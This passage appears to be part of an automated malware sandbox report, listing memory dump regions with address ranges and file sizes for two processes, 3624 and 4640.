                                                                                                                                                  • memory/3624-94-0x00000214FCE00000-0x00000214FCE3C000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    240KB

                                                                                                                                                  • memory/3624-68-0x00007FFF2C430000-0x00007FFF2C4ED000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    756KB

                                                                                                                                                  • memory/3624-96-0x00007FFF2CC60000-0x00007FFF2CE69000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/3624-98-0x00000214FCE40000-0x00000214FCE76000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/3624-97-0x00007FFF2C430000-0x00007FFF2C4ED000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    756KB

                                                                                                                                                  • memory/3624-93-0x00000214FD150000-0x00000214FD312000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    1.8MB

                                                                                                                                                  • memory/3624-67-0x00007FFF2CC60000-0x00007FFF2CE69000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/3624-71-0x00000214FBAF0000-0x00000214FC2BA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    7.8MB

                                                                                                                                                  • memory/3624-95-0x00000214FCD60000-0x00000214FCDAE000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    312KB

                                                                                                                                                  • memory/3624-85-0x00000214FCDB0000-0x00000214FCE00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    320KB

                                                                                                                                                  • memory/3624-74-0x00007FFF2CC60000-0x00007FFF2CE69000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/3624-73-0x00000214FC700000-0x00000214FC7B2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    712KB

                                                                                                                                                  • memory/3624-72-0x00000214FC2C0000-0x00000214FC6FE000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    4.2MB

                                                                                                                                                  • memory/4640-101-0x00007FFF2CC60000-0x00007FFF2CE69000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/4640-103-0x0000000140000000-0x0000000140028000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    160KB

                                                                                                                                                  • memory/4640-102-0x00007FFF2C430000-0x00007FFF2C4ED000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    756KB

                                                                                                                                                  • memory/4640-99-0x0000000140000000-0x0000000140028000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    160KB

                                                                                                                                                  • memory/4640-100-0x0000000140000000-0x0000000140028000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    160KB